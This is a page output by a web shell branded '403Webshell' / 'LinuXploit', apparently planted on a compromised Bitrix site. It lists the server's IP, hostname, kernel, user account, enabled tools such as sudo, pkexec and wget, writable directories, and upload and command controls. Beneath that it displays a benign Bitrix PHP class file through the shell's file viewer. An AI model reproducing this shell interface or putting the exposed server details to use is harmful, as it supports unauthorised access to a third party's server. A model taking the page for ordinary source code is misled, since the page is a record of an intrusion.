403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/internals/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/internals/actionentity.php
<?php

namespace Bitrix\Sale\Internals;

use Bitrix\Sale\Result;

class ActionEntity extends PoolBase
{
	protected static $pool = array();

	const ACTION_ENTITY_SHIPMENT_COLLECTION_RESERVED_QUANTITY = 'shipment_collection_reserved_quantity';
	const ACTION_ENTITY_SHIPMENT_RESERVED_QUANTITY = 'shipment_reserved_quantity';

	/**
	 * @param $code
	 * @param array $typeList
	 *
	 * @return Result
	 */
	public static function runActions($code, array $typeList = array())
	{
		$result = new Result();
		$actionsList = static::getPoolByCode($code);

		if (empty($actionsList))
		{
			return $result;
		}

		if (empty($typeList))
		{
			$typeList = array_keys($actionsList);
		}

		if (empty($typeList))
		{
			return $result;
		}

		foreach ($typeList as $type)
		{
			if (!isset($actionsList[$type]))
				continue;

			foreach ($actionsList[$type] as $actionParams)
			{
				/** @var Result $r */
				$r = call_user_func_array($actionParams['METHOD'], $actionParams['PARAMS']);

				if (!$r->isSuccess())
				{
					$result->addErrors($r->getErrors());
				}

				if ($r->hasWarnings())
				{
					$result->addWarnings($r->getWarnings());
				}
			}

			static::resetPool($code, $type);
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit